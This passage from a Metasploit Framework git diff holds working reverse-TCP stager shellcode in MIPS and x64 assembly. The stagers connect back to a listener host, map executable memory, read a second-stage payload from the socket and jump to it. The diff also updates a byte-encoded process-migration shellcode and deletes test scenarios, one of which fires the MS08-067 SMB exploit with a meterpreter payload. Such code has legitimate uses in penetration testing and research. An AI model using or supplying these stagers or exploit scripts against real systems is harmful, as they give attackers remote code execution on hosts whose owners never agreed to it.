+  li      $t4, -17
+  nor     $a2, $t4, $zero
+  li      $v0, 4170
+  syscall 0x40404
+  slt     $s0, $zero, $a3
+  bne     $s0, $zero, failed
 
-	# read(sockfd, addr, 4096)
-	# a0: sockfd
-	# a1: addr
-	# a2: len = 4096
-	# v0: syscall = __NR_read (4003)
-	lw      $a0, -4($sp)
-	lw      $a1, -8($sp)
-	li      $a2, 4097
-	addi    $a2, $a2, -1
-	li      $v0, 4003
-	syscall 0x40404
+  # mmap(0xffffffff, 4096, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0)
+  # a0: addr = -1
+  # a1: lenght = 4096
+  # a2: prot = PROT_READ|PROT_WRITE|PROT_EXEC (7)
+  # a3: flags = MAP_PRIVATE|MAP_ANONYMOUS (2050)
+  # sp(16): fd = -1
+  # sp(20): offset = 0
+  # v0: syscall = __NR_mmap (4090)
+  li      $a0, -1
+  li      $a1, 4097
+  addi    $a1, $a1, -1
+  li      $t1, -8
+  nor     $t1, $t1, $0
+  add     $a2, $t1, $0
+  li      $a3, 2050
+  li      $t3, -22
+  nor     $t3, $t3, $zero
+  add     $t3, $sp, $t3
+  sw      $0, -1($t3)         # Doesn't use $sp directly to avoid nulls
+  sw      $2, -5($t3)         # Doesn't use $sp directly to avoid nulls
+  li      $v0, 4090
+  syscall 0x40404
+  slt $s0, $zero, $a3
+  bne $s0, $zero, failed
+  sw      $v0, -8($sp)        # Stores the mmap'ed address on the stack
 
-	# cacheflush(addr, nbytes, DCACHE)
-	# a0: addr
-	# a1: nbytes
-	# a2: cache = DCACHE (2)
-	# v0: syscall = __NR_read (4147)
-	lw      $a0, -8($sp)
-	add     $a1, $v0, $zero
-	li      $t1, -3
-	nor     $t1, $t1, $0
-	add     $a2, $t1, $0
-	li      $v0, 4147
-	syscall 0x40404
-	
-	# jmp to the stage
-	lw      $s1, -8($sp)
-	lw      $s2, -4($sp)
-	jalr    $s1
+  # read(sockfd, addr, 4096)
+  # a0: sockfd
+  # a1: addr
+  # a2: len = 4096
+  # v0: syscall = __NR_read (4003)
+  lw      $a0, -4($sp)
+  lw      $a1, -8($sp)
+  li      $a2, 4097
+  addi    $a2, $a2, -1
+  li      $v0, 4003
+  syscall 0x40404
+  slt $s0, $zero, $a3
+  bne $s0, $zero, failed
 
-	.set    macro
-	.set    reorder
+  # cacheflush(addr, nbytes, DCACHE)
+  # a0: addr
+  # a1: nbytes
+  # a2: cache = DCACHE (2)
+  # v0: syscall = __NR_read (4147)
+  lw      $a0, -8($sp)
+  add     $a1, $v0, $zero
+  li      $t1, -3
+  nor     $t1, $t1, $0
+  add     $a2, $t1, $0
+  li      $v0, 4147
+  syscall 0x40404
+  slt     $s0, $zero, $a3
+  bne     $s0, $zero, failed
+  # jmp to the stage
+  lw      $s1, -8($sp)
+  lw      $s2, -4($sp)
+  jalr    $s1
+
+failed:
+  # exit(status)
+  # a0: status
+  # v0: syscall = __NR_exit (4001)
+  li      $a0, 1
+  li      $v0, 4001
+  syscall 0x40404
+
+  .set    macro
+  .set    reorder
diff --git a/external/source/shellcode/linux/mipsle/stager_sock_reverse.s b/external/source/shellcode/linux/mipsle/stager_sock_reverse.s
index 42083452af..1c23424fa9 100644
--- a/external/source/shellcode/linux/mipsle/stager_sock_reverse.s
+++ b/external/source/shellcode/linux/mipsle/stager_sock_reverse.s
@@ -1,11 +1,11 @@
 ##
-# 
+#
 #        Name: stager_sock_reverse
 #        Type: Stager
 #   Qualities: No Nulls out of the IP / Port data
 #   Platforms: Linux MIPS Little Endian
-#     Authors: juan vazquez <juan.vazquez [at] metasploit.com>
-#     License: 
+#     Authors: juan vazquez <juan.vazquez [at] metasploit.com>, tkmru
+#     License:
 #
 #        This file is part of the Metasploit Exploit Framework
 #        and is subject to the same licenses and copyrights as
@@ -27,101 +27,119 @@
 #        generate the string to place on:
 #          modules/payloads/stagers/linux/mipsle/reverse_tcp.rb
 ##
-	.text
-	.align  2
-	.globl  main
-	.set    nomips16
+  .text
+  .align  2
+  .globl  main
+  .set    nomips16
 main:
-	.set    noreorder
-	.set    nomacro
+  .set    noreorder
+  .set    nomacro
 
-	# socket(PF_INET, SOCK_STREAM, IPPROTO_IP)
-	# a0: domain = PF_INET (2)
-	# a1: type = SOCK_STREAM (2)
-	# a2: protocol = IPPROTO_IP (0)
-	# v0: syscall = __NR_socket (4183)
-	li      $t7, -6
-	nor     $t7, $t7, $zero
-	addi    $a0, $t7, -3
-	addi    $a1, $t7, -3
-	slti    $a2, $zero, -1
-	li      $v0, 4183
-	syscall 0x40404
-	sw      $v0, -4($sp) # store the file descriptor for the socket on the stack
-	
-	# connect(sockfd, {sa_family=AF_INET, sin_port=htons(4444), sin_addr=inet_addr("192.168.172.1")}, 16)
-	# a0: sockfd
-	# a1: addr = AF_INET (2)
-	# a2: addrlen = 16
-	# v0: syscall = __NR_connect (4170)
-	lw      $a0, -4($sp)
-	li      $t7, -3
-	nor     $t7, $t7, $zero
-	sw      $t7, -30($sp)
-	ori     $t6, $zero, 0x5c11  # port
-	sw      $t6, -28($sp)
-	lui     $t6, 0x100          # ip
-	ori     $t6, $t6, 0x7f      # ip
-	sw      $t6, -26($sp)
-	addiu   $a1, $sp, -30
-	li      $t4, -17
-	nor     $a2, $t4, $zero
-	li      $v0, 4170
-	syscall 0x40404
-	
-	# mmap(0xffffffff, 4096, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0)
-	# a0: addr = -1
-	# a1: lenght = 4096
-	# a2: prot = PROT_READ|PROT_WRITE|PROT_EXEC (7)
-	# a3: flags = MAP_PRIVATE|MAP_ANONYMOUS (2050)
-	# sp(16): fd = -1
-	# sp(20): offset = 0
-	# v0: syscall = __NR_mmap (4090)
-	li      $a0, -1
-	li      $a1, 4097
-	addi    $a1, $a1, -1
-	li      $t1, -8
-	nor     $t1, $t1, $0
-	add     $a2, $t1, $0
-	li      $a3, 2050
-	li      $t3, -22
-	nor     $t3, $t3, $zero
-	add     $t3, $sp, $t3
-	sw      $0, -1($t3)         # Doesn't use $sp directly to avoid nulls
-	sw      $2, -5($t3)         # Doesn't use $sp directly to avoid nulls
-	li      $v0, 4090
-	syscall 0x40404
-	sw      $v0, -8($sp)        # Stores the mmap'ed address on the stack
+  # socket(PF_INET, SOCK_STREAM, IPPROTO_IP)
+  # a0: domain = PF_INET (2)
+  # a1: type = SOCK_STREAM (2)
+  # a2: protocol = IPPROTO_IP (0)
+  # v0: syscall = __NR_socket (4183)
+  li      $t7, -6
+  nor     $t7, $t7, $zero
+  addi    $a0, $t7, -3
+  addi    $a1, $t7, -3
+  slti    $a2, $zero, -1
+  li      $v0, 4183
+  syscall 0x40404
+  slt     $s0, $zero, $a3
+  bne     $s0, $zero, failed
+  sw      $v0, -4($sp) # store the file descriptor for the socket on the stack
 
-	# read(sockfd, addr, 4096)
-	# a0: sockfd
-	# a1: addr
-	# a2: len = 4096
-	# v0: syscall = __NR_read (4003)
-	lw      $a0, -4($sp)
-	lw      $a1, -8($sp)
-	li      $a2, 4097
-	addi    $a2, $a2, -1
-	li      $v0, 4003
-	syscall 0x40404
+  # connect(sockfd, {sa_family=AF_INET, sin_port=htons(4444), sin_addr=inet_addr("127.0.0.1")}, 16)
+  # a0: sockfd
+  # a1: addr = AF_INET (2)
+  # a2: addrlen = 16
+  # v0: syscall = __NR_connect (4170)
+  lw      $a0, -4($sp)
+  li      $t7, -3
+  nor     $t7, $t7, $zero
+  sw      $t7, -30($sp)
+  ori     $t6, $zero, 0x5c11  # port
+  sw      $t6, -28($sp)
+  lui     $t6, 0x100          # ip
+  ori     $t6, $t6, 0x7f      # ip
+  sw      $t6, -26($sp)
+  addiu   $a1, $sp, -30
+  li      $t4, -17
+  nor     $a2, $t4, $zero
+  li      $v0, 4170
+  syscall 0x40404
+  slt     $s0, $zero, $a3
+  bne     $s0, $zero, failed
 
-	# cacheflush(addr, nbytes, DCACHE)
-	# a0: addr
-	# a1: nbytes
-	# a2: cache = DCACHE (2)
-	# v0: syscall = __NR_read (4147)
-	lw      $a0, -8($sp)
-	add     $a1, $v0, $zero
-	li      $t1, -3
-	nor     $t1, $t1, $0
-	add     $a2, $t1, $0
-	li      $v0, 4147
-	syscall 0x40404
-	
-	# jmp to the stage
-	lw      $s1, -8($sp)
-	lw      $s2, -4($sp)        # sockfd saved on $s2
-	jalr    $s1
+  # mmap(0xffffffff, 4096, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0)
+  # a0: addr = -1
+  # a1: lenght = 4096
+  # a2: prot = PROT_READ|PROT_WRITE|PROT_EXEC (7)
+  # a3: flags = MAP_PRIVATE|MAP_ANONYMOUS (2050)
+  # sp(16): fd = -1
+  # sp(20): offset = 0
+  # v0: syscall = __NR_mmap (4090)
+  li      $a0, -1
+  li      $a1, 4097
+  addi    $a1, $a1, -1
+  li      $t1, -8
+  nor     $t1, $t1, $0
+  add     $a2, $t1, $0
+  li      $a3, 2050
+  li      $t3, -22
+  nor     $t3, $t3, $zero
+  add     $t3, $sp, $t3
+  sw      $0, -1($t3)         # Doesn't use $sp directly to avoid nulls
+  sw      $2, -5($t3)         # Doesn't use $sp directly to avoid nulls
+  li      $v0, 4090
+  syscall 0x40404
+  slt     $s0, $zero, $a3
+  bne     $s0, $zero, failed
+  sw      $v0, -8($sp)        # Stores the mmap'ed address on the stack
 
-	.set    macro
-	.set    reorder
+  # read(sockfd, addr, 4096)
+  # a0: sockfd
+  # a1: addr
+  # a2: len = 4096
+  # v0: syscall = __NR_read (4003)
+  lw      $a0, -4($sp)
+  lw      $a1, -8($sp)
+  li      $a2, 4097
+  addi    $a2, $a2, -1
+  li      $v0, 4003
+  syscall 0x40404
+  slt     $s0, $zero, $a3
+  bne     $s0, $zero, failed
+
+  # cacheflush(addr, nbytes, DCACHE)
+  # a0: addr
+  # a1: nbytes
+  # a2: cache = DCACHE (2)
+  # v0: syscall = __NR_read (4147)
+  lw      $a0, -8($sp)
+  add     $a1, $v0, $zero
+  li      $t1, -3
+  nor     $t1, $t1, $0
+  add     $a2, $t1, $0
+  li      $v0, 4147
+  syscall 0x40404
+  slt     $s0, $zero, $a3
+  bne     $s0, $zero, failed
+
+  # jmp to the stage
+  lw      $s1, -8($sp)
+  lw      $s2, -4($sp)        # sockfd saved on $s2
+  jalr    $s1
+
+failed:
+  # exit(status)
+  # a0: status
+  # v0: syscall = __NR_exit (4001)
+  li      $a0, 1
+  li      $v0, 4001
+  syscall 0x40404
+
+  .set    macro
+  .set    reorder
diff --git a/external/source/shellcode/linux/x64/stager_sock_reverse.s b/external/source/shellcode/linux/x64/stager_sock_reverse.s
new file mode 100644
index 0000000000..ff4f234087
--- /dev/null
+++ b/external/source/shellcode/linux/x64/stager_sock_reverse.s
@@ -0,0 +1,82 @@
+##
+#
+#        Name: stager_sock_reverse
+#   Qualities: -
+#     Authors: nemo <nemo [at] felinemenace.org>, tkmru
+#     License: MSF_LICENSE
+# Description:
+#
+#        Implementation of a Linux reverse TCP stager for x64 architecture.
+#
+#        Assemble with: gcc -nostdlib stager_sock_reverse.s -o stager_sock_reverse
+#
+# Meta-Information:
+#
+# meta-shortname=Linux Reverse TCP Stager
+# meta-description=Connect back to the framework and run a second stage
+# meta-authors=ricky, tkmru
+# meta-os=linux
+# meta-arch=x64
+# meta-category=stager
+# meta-connection-type=reverse
+# meta-name=reverse_tcp
+##
+
+.text
+.globl _start
+_start:
+  xor    %rdi, %rdi
+  push   $0x9
+  pop    %rax
+  cdq
+  mov    $0x10, %dh
+  mov    %rdx, %rsi
+  xor    %r9, %r9
+  push   $0x22
+  pop    %r10
+  mov    $0x7, %dl
+  syscall # mmap(NULL, 4096, PROT_READ|PROT_WRITE|PROT_EXEC|0x1000, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0)
+  test   %rax, %rax
+  js     failed
+
+  push   %rsi
+  push   %rax
+  push   $0x29
+  pop    %rax
+  cdq
+  push   $0x2
+  pop    %rdi
+  push   $0x1
+  pop    %rsi
+  syscall # socket(PF_INET, SOCK_STREAM, IPPROTO_IP)
+  test   %rax, %rax
+  js     failed
+
+  xchg   %rax, %rdi
+  movabs $0x100007fb3150002, %rcx
+  push   %rcx
+  mov    %rsp, %rsi
+  push   $0x10
+  pop    %rdx
+  push   $0x2a
+  pop    %rax
+  syscall # connect(3, {sa_family=AF_INET, LPORT, LHOST, 16)
+  test   %rax, %rax
+  js     failed
+
+  pop    %rcx
+  pop    %rsi
+  pop    %rdx
+  syscall # read(3, "", 4096)
+  jmpq   *%rsi
+  test   %rax, %rax
+  js     failed
+
+  jmpq   *%rsi # to stage
+
+failed:
+  push   $0x3c
+  pop    %rax
+  push   $0x1
+  pop    %rdi
+  syscall # exit(1)
diff --git a/external/source/shellcode/windows/x86/src/migrate/executex64.asm b/external/source/shellcode/windows/x86/src/migrate/executex64.asm
index a3f2777fde..e4af580fe0 100644
--- a/external/source/shellcode/windows/x86/src/migrate/executex64.asm
+++ b/external/source/shellcode/windows/x86/src/migrate/executex64.asm
@@ -40,6 +40,9 @@ delta:
 	
 	call go_all_native						; perform the transition into native x64 and return here when done.
 	
+	mov ax, ds								; fixes an elusive bug on AMD CPUs, http://blog.rewolf.pl/blog/?p=1484
+	mov ss, ax								; found and fixed by ReWolf, incorporated by RaMMicHaeL
+	
 	add esp, (8+4+8)						; remove the 8 bytes we allocated + the return address which was never popped off + the qword pushed from native_x64
 	pop edi									; restore the clobbered registers
 	pop esi									;
diff --git a/external/source/vncdll/vncdll/inject.c b/external/source/vncdll/vncdll/inject.c
index 3414584dc6..fc3ea273f5 100755
--- a/external/source/vncdll/vncdll/inject.c
+++ b/external/source/vncdll/vncdll/inject.c
@@ -12,11 +12,14 @@
 #endif
 
 // see '/msf3/external/source/shellcode/x86/migrate/executex64.asm'
+// 03.06.2017: fixed an elusive bug on AMD CPUs, http://blog.rewolf.pl/blog/?p=1484
+//             found and fixed by ReWolf, incorporated by RaMMicHaeL
 BYTE migrate_executex64[] =	"\x55\x89\xE5\x56\x57\x8B\x75\x08\x8B\x4D\x0C\xE8\x00\x00\x00\x00"
-							"\x58\x83\xC0\x25\x83\xEC\x08\x89\xE2\xC7\x42\x04\x33\x00\x00\x00"
-							"\x89\x02\xE8\x09\x00\x00\x00\x83\xC4\x14\x5F\x5E\x5D\xC2\x08\x00"
-							"\x8B\x3C\x24\xFF\x2A\x48\x31\xC0\x57\xFF\xD6\x5F\x50\xC7\x44\x24"
-							"\x04\x23\x00\x00\x00\x89\x3C\x24\xFF\x2C\x24";
+							"\x58\x83\xC0\x2B\x83\xEC\x08\x89\xE2\xC7\x42\x04\x33\x00\x00\x00"
+							"\x89\x02\xE8\x0F\x00\x00\x00\x66\x8C\xD8\x66\x8E\xD0\x83\xC4\x14"
+							"\x5F\x5E\x5D\xC2\x08\x00\x8B\x3C\xE4\xFF\x2A\x48\x31\xC0\x57\xFF"
+							"\xD6\x5F\x50\xC7\x44\x24\x04\x23\x00\x00\x00\x89\x3C\x24\xFF\x2C"
+							"\x24";
 
 // see '/msf3/external/source/shellcode/x64/migrate/remotethread.asm'
 BYTE migrate_wownativex[] = "\xFC\x48\x89\xCE\x48\x89\xE7\x48\x83\xE4\xF0\xE8\xC8\x00\x00\x00"
diff --git a/features/commands/help.feature b/features/commands/help.feature
deleted file mode 100644
index f73763436b..0000000000
--- a/features/commands/help.feature
+++ /dev/null
@@ -1,111 +0,0 @@
-Feature: Help command
-
-  Background:
-    Given I run `msfconsole --defer-module-loads -q -x help -x exit`
-
-  Scenario: The 'help' command's output
-    Then the output should contain:
-      """
-      Core Commands
-      =============
-
-          Command       Description
-          -------       -----------
-          ?             Help menu
-          banner        Display an awesome metasploit banner
-          cd            Change the current working directory
-          color         Toggle color
-          connect       Communicate with a host
-          exit          Exit the console
-          get           Gets the value of a context-specific variable
-          getg          Gets the value of a global variable
-          grep          Grep the output of another command
-          help          Help menu
-          history       Show command history
-          irb           Drop into irb scripting mode
-          load          Load a framework plugin
-          quit          Exit the console
-          route         Route traffic through a session
-          save          Saves the active datastores
-          sessions      Dump session listings and display information about sessions
-          set           Sets a context-specific variable to a value
-          setg          Sets a global variable to a value
-          sleep         Do nothing for the specified number of seconds
-          spool         Write console output into a file as well the screen
-          threads       View and manipulate background threads
-          unload        Unload a framework plugin
-          unset         Unsets one or more context-specific variables
-          unsetg        Unsets one or more global variables
-          version       Show the framework and console library version numbers
-
-
-      Module Commands
-      ===============
-
-          Command       Description
-          -------       -----------
-          advanced      Displays advanced options for one or more modules
-          back          Move back from the current context
-          edit          Edit the current module with the preferred editor
-          info          Displays information about one or more modules
-          loadpath      Searches for and loads modules from a path
-          options       Displays global options or for one or more modules
-          popm          Pops the latest module off the stack and makes it active
-          previous      Sets the previously loaded module as the current module
-          pushm         Pushes the active or list of modules onto the module stack
-          reload_all    Reloads all modules from all defined module paths
-          search        Searches module names and descriptions
-          show          Displays modules of a given type, or all modules
-          use           Selects a module by name
-
-
-      Job Commands
-      ============
-
-          Command       Description
-          -------       -----------
-          handler       Start a payload handler as job
-          jobs          Displays and manages jobs
-          kill          Kill a job
-          rename_job    Rename a job
-
-
-      Resource Script Commands
-      ========================
-
-          Command       Description
-          -------       -----------
-          makerc        Save commands entered since start to a file
-          resource      Run the commands stored in a file
-
-
-      Database Backend Commands
-      =========================
-
-          Command           Description
-          -------           -----------
-          db_connect        Connect to an existing database
-          db_disconnect     Disconnect from the current database instance
-          db_export         Export a file containing the contents of the database
-          db_import         Import a scan result file (filetype will be auto-detected)
-          db_nmap           Executes nmap and records the output automatically
-          db_rebuild_cache  Rebuilds the database-stored module cache
-          db_status         Show the current database status
-          hosts             List all hosts in the database
-          loot              List all loot in the database
-          notes             List all notes in the database
-          services          List all services in the database
-          vulns             List all vulnerabilities in the database
-          workspace         Switch between database workspaces
-
-
-    Credentials Backend Commands
-    ============================
-
-          Command       Description
-          -------       -----------
-          creds         List all credentials in the database
-
-
-      """
-
diff --git a/features/modules/exploit/smb/ms08_067_netapi.feature b/features/modules/exploit/smb/ms08_067_netapi.feature
deleted file mode 100644
index 940ff2a4e6..0000000000
--- a/features/modules/exploit/smb/ms08_067_netapi.feature
+++ /dev/null
@@ -1,48 +0,0 @@
-@targets @db
-Feature: MS08-067 netapi
-
-  Background:
-    Given a directory named "home"
-    And I cd to "home"
-    And a mocked home directory
-
-  Scenario: The MS08-067 should get a session with bind_tcp
-    Given I ready the windows targets
-    Given a file named "ms08-067-bind.rc" with:
-      """
-      <ruby>
-      self.run_single("spool #{Rails.root.join('tmp', 'console.log')}")
-      hosts           = YAML.load File.open Rails.root.join('features', 'support', 'targets.yml')
-      payload_name    = 'windows/meterpreter/bind_tcp'
-      exploited_hosts = []
-      failed_hosts    = []
-
-      hosts.each do |host|
-        print_status("Trying MS08-067 against #{host['ipAddress']}")
-        mod = framework.exploits.create('windows/smb/ms08_067_netapi')
-        mod.datastore['PAYLOAD'] = payload_name
-        mod.datastore['RHOST'] = host['ipAddress']
-        m = mod.exploit_simple(
-          'LocalInput'  => nil,
-          'LocalOutput' => nil,
-          'Payload'     => payload_name,
-          'RunAsJob'    => false
-        )
-
-        sleep(1)
-
-        if m
-          exploited_hosts << host['ipAddress']
-        else
-          failed_hosts << host['ipAddress']
-        end
-      end
-
-      print_status("Exploited hosts: #{exploited_hosts.inspect}")
-      print_status("Failed hosts: #{failed_hosts.inspect}")
-      self.run_single('sessions -K')
-      </ruby>
-      """
-    When I successfully run `msfconsole --environment test -q -r ms08-067-bind.rc -x exit` for up to 100 seconds
-    Then the 'Mdm::Host' table contains the expected targets
-    
\ No newline at end of file
diff --git a/features/msfconsole/database_yml.feature b/features/msfconsole/database_yml.feature
deleted file mode 100644
index f2b40c213b..0000000000
--- a/features/msfconsole/database_yml.feature
+++ /dev/null
@@ -1,153 +0,0 @@
-@boot
-Feature: `msfconsole` `database.yml`
-
-  In order to connect to the database in `msfconsole`
-  As a user calling `msfconsole` from a terminal
-  I want to be able to set the path of the `database.yml` in one of 4 locations (in order of precedence):
-
-  1. An explicit argument to the `-y` flag to `msfconsole`
-  2. The MSF_DATABASE_CONFIG environment variable
-  3. The user's `~/.msf4/database.yml`
-  4. `config/database.yml` in the metasploit-framework checkout location.
-
-  Scenario: With all 4 locations, --yaml wins
-    Given a file named "command_line.yml" with:
-      """
-      test:
-        adapter: postgresql
-        database: command_line_metasploit_framework_test
-        username: command_line_metasploit_framework_test
-      """
-    And a file named "msf_database_config.yml" with:
-      """
-      test:
-        adapter: postgresql
-        database: environment_metasploit_framework_test
-        username: environment_metasploit_framework_test
-      """
-    And I set the environment variables to:
-      | variable            | value                   |
-      | MSF_DATABASE_CONFIG | msf_database_config.yml |
-    And a directory named "home"
-    And I cd to "home"
-    And a mocked home directory
-    And a directory named ".msf4"
-    And I cd to ".msf4"
-    And a file named "database.yml" with:
-      """
-      test:
-        adapter: postgresql
-        database: user_metasploit_framework_test
-        username: user_metasploit_framework_test
-      """
-    And I cd to "../.."
-    And the project "database.yml" exists with:
-      """
-      test:
-        adapter: postgresql
-        database: project_metasploit_framework_test
-        username: project_metasploit_framework_test
-      """
-    When I run `msfconsole -q --defer-module-loads --environment test --execute-command exit --yaml command_line.yml`
-    Then the output should contain "command_line_metasploit_framework_test"
-
-  Scenario: Without --yaml, MSF_DATABASE_CONFIG wins
-    Given a file named "msf_database_config.yml" with:
-      """
-      test:
-        adapter: postgresql
-        database: environment_metasploit_framework_test
-        username: environment_metasploit_framework_test
-      """
-    And I set the environment variables to:
-      | variable            | value                   |
-      | MSF_DATABASE_CONFIG | msf_database_config.yml |
-    And a directory named "home"
-    And I cd to "home"
-    And a mocked home directory
-    And a directory named ".msf4"
-    And I cd to ".msf4"
-    And a file named "database.yml" with:
-      """
-      test:
-        adapter: postgresql
-        database: user_metasploit_framework_test
-        username: user_metasploit_framework_test
-      """
-    And I cd to "../.."
-    And the project "database.yml" exists with:
-      """
-      test:
-        adapter: postgresql
-        database: project_metasploit_framework_test
-        username: project_metasploit_framework_test
-      """
-    When I run `msfconsole -q --defer-module-loads --environment test --execute-command exit`
-    Then the output should contain "environment_metasploit_framework_test"
-
-  Scenario: Without --yaml or MSF_DATABASE_CONFIG, ~/.msf4/database.yml wins
-    Given I unset the environment variables:
-      | variable            |
-      | MSF_DATABASE_CONFIG |
-    And a directory named "home"
-    And I cd to "home"
-    And a mocked home directory
-    And a directory named ".msf4"
-    And I cd to ".msf4"
-    And a file named "database.yml" with:
-      """
-      test:
-        adapter: postgresql
-        database: user_metasploit_framework_test
-        username: user_metasploit_framework_test
-      """
-    And I cd to "../.."
-    And the project "database.yml" exists with:
-      """
-      test:
-        adapter: postgresql
-        database: project_metasploit_framework_test
-        username: project_metasploit_framework_test
-      """
-    When I run `msfconsole -q --defer-module-loads --environment test --execute-command exit`
-    Then the output should contain "user_metasploit_framework_test"
-
-  Scenario: Without --yaml, MSF_DATABASE_CONFIG or ~/.msf4/database.yml, project "database.yml" wins
-    Given I unset the environment variables:
-      | variable            |
-      | MSF_DATABASE_CONFIG |
-    And a directory named "home"
-    And I cd to "home"
-    And a mocked home directory
-    And I cd to "../.."
-    And the project "database.yml" exists with:
-      """
-      test:
-        adapter: postgresql
-        database: project_metasploit_framework_test
-        username: project_metasploit_framework_test
-      """
-    When I run `msfconsole -q --defer-module-loads --environment test --execute-command db_status --execute-command exit`
-    Then the output should contain "project_metasploit_framework_test"
-
-
-  Scenario: Without --yaml, MSF_DATABASE_CONFIG, ~/.msf4/database.yml, or project "database.yml", no database connection
-    Given I unset the environment variables:
-      | variable            |
-      | MSF_DATABASE_CONFIG |
-    And a directory named "home"
-    And I cd to "home"
-    And a mocked home directory
-    And I cd to "../.."
-    And the project "database.yml" does not exist
-    When I run `msfconsole -q --defer-module-loads --environment test --execute-command db_status --execute-command exit`
-    Then the output should not contain "command_line_metasploit_framework_test"
-    And the output should not contain "environment_metasploit_framework_test"
-    And the output should not contain "user_metasploit_framework_test"
-    And the output should not contain "project_metasploit_framework_test"
-    And the output should contain "[*] postgresql selected, no connection"
-
-  Scenario: Starting `msfconsole` with a valid database.yml
-    When I run `msfconsole -q --defer-module-loads --execute-command db_status --execute-command exit`
-    Then the output should contain "[*] postgresql connected to metasploit_framework_test"
-
diff --git a/features/step_definitions/environment_variables.rb b/features/step_definitions/environment_variables.rb
deleted file mode 100644
index c554ca0264..0000000000
--- a/features/step_definitions/environment_variables.rb
+++ /dev/null
@@ -1,20 +0,0 @@
-Given /^I unset the environment variables:$/ do |table|
-  table.hashes.each do |row|
-    variable = row['variable'].to_s.upcase
-
-    # @todo add extension to Announcer
-    announcer.instance_eval do
-      if @options[:env]
-        print "$ unset #{variable}"
-      end
-    end
-
-    current_value = ENV.delete(variable)
-
-    # if original_env already has the key, then the true original was already recorded from a previous unset or set,
-    # so don't record the current value as it will cause ENV not to be restored after the Scenario.
-    unless original_env.key? variable
-      original_env[variable] = current_value
-    end
-  end
-end
\ No newline at end of file
diff --git a/features/step_definitions/project.rb b/features/step_definitions/project.rb
deleted file mode 100644
index 1c24f07254..0000000000
--- a/features/step_definitions/project.rb
+++ /dev/null
@@ -1,14 +0,0 @@
-require 'metasploit/framework/database/cucumber'
-
-Given /^the project "database.yml" does not exist$/ do
-  Metasploit::Framework::Database::Cucumber.backup_project_configurations
-end
-
-Given /^the project "database.yml" exists with:$/ do |file_content|
-  Metasploit::Framework::Database::Cucumber.backup_project_configurations
-  File.open(Metasploit::Framework::Database::Cucumber.project_configurations_path, 'wb') { |file| file.write(file_content) }
-end
-
-After do
-  Metasploit::Framework::Database::Cucumber.restore_project_configurations
-end
\ No newline at end of file
diff --git a/features/support/bin/stty b/features/support/bin/stty
deleted file mode 100755
index 8ff68bb1c5..0000000000
--- a/features/support/bin/stty
+++ /dev/null
@@ -1,26 +0,0 @@
-#!/usr/bin/env ruby
-
-case ARGV[0]
-  when 'size'
-    puts "30 134"
-  when '-a'
-    puts <<EOS
-speed 38400 baud; 30 rows; 134 columns;
-lflags: icanon isig iexten echo echoe echok echoke -echonl echoctl
-	-echoprt -altwerase -noflsh -tostop -flusho pendin -nokerninfo
-	-extproc
-iflags: -istrip icrnl -inlcr -igncr ixon -ixoff ixany imaxbel iutf8
-	-ignbrk brkint -inpck -ignpar -parmrk
-oflags: opost onlcr -oxtabs -onocr -onlret
-cflags: cread cs8 -parenb -parodd hupcl -clocal -cstopb -crtscts -dsrflow
-	-dtrflow -mdmbuf
-cchars: discard = ^O; dsusp = ^Y; eof = ^D; eol = <undef>;
-	eol2 = <undef>; erase = ^?; intr = ^C; kill = ^U; lnext = ^V;
-	min = 1; quit = ^\; reprint = ^R; start = ^Q; status = ^T;
-	stop = ^S; susp = ^Z; time = 0; werase = ^W;
-EOS
-  when '-g'
-    puts "gfmt1:cflag=4b00:iflag=6b02:lflag=200005cf:oflag=3:discard=f:dsusp=19:eof=4:eol=ff:eol2=ff:erase=7f:intr=3:kill=15:lnext=16:min=1:quit=1c:reprint=12:start=11:status=14:stop=13:susp=1a:time=0:werase=17:ispeed=38400:ospeed=38400"
-end
-
-exit 0
diff --git a/features/support/env.rb b/features/support/env.rb
deleted file mode 100644
index 6d186f405f..0000000000
--- a/features/support/env.rb
+++ /dev/null
@@ -1,34 +0,0 @@
-# @note `require 'simplecov'` is not used here because all features currently use external `msfconsole` process, so only
-#   that child process needs to load 'simplecov'.
-
-# IMPORTANT: This file is generated by cucumber-rails - edit at your own peril.
-# It is recommended to regenerate this file in the future when you upgrade to a 
-# newer version of cucumber-rails. Consider adding your own code to a new file 
-# instead of editing this one. Cucumber will automatically load all features/**/*.rb
-# files.
-
-require 'cucumber/rails'
-require 'aruba/cucumber'
-
-# Capybara defaults to XPath selectors rather than Webrat's default of CSS3. In
-# order to ease the transition to Capybara we set the default here. If you'd
-# prefer to use XPath just remove this line and adjust any selectors in your
-# steps to use the XPath syntax.
-Capybara.default_selector = :css
-
-# By default, any exception happening in your Rails application will bubble up
-# to Cucumber so that your scenario will fail. This is a different from how 
-# your application behaves in the production environment, where an error page will 
-# be rendered instead.
-#
-# Sometimes we want to override this default behaviour and allow Rails to rescue
-# exceptions and display an error page (just like when the app is running in production).
-# Typical scenarios where you want to do this is when you test your error pages.
-# There are two ways to allow Rails to rescue exceptions:
-#
-# 1) Tag your scenario (or feature) with @allow-rescue
-#
-# 2) Set the value below to true. Beware that doing this globally is not
-# recommended as it will mask a lot of errors for you!
-#
-ActionController::Base.allow_rescue = false
diff --git a/features/support/hooks.rb b/features/support/hooks.rb
deleted file mode 100644
index 16c5973ef2..0000000000
--- a/features/support/hooks.rb
+++ /dev/null
@@ -1,39 +0,0 @@
-Before do
-  set_env('MSF_DATBASE_CONFIG', Rails.configuration.paths['config/database'].existent.first)
-  set_env('RAILS_ENV', 'test')
-  @aruba_timeout_seconds = 8.minutes
-end
-
-Before('@db') do |scenario|
-  dbconfig = YAML::load(File.open(Metasploit::Framework::Database.configurations_pathname))
-  ActiveRecord::Base.establish_connection(dbconfig["test"])
-end
-
-# don't setup child processes to load simplecov_setup.rb if simplecov isn't installed
-# unless Bundler.settings.without.include?(:coverage)
-#   Before do |scenario|
-#     command_name = case scenario
-#                    when Cucumber::Ast::Scenario, Cucumber::Ast::ScenarioOutline
-#                      "#{scenario.feature.title} #{scenario.name}"
-#                    when Cucumber::Ast::OutlineTable::ExampleRow
-#                      scenario_outline = scenario.scenario_outline
-#
-#                      "#{scenario_outline.feature.title} #{scenario_outline.name} #{scenario.name}"
-#                    else
-#                      raise TypeError, "Don't know how to extract command name from #{scenario.class}"
-#                    end
-#
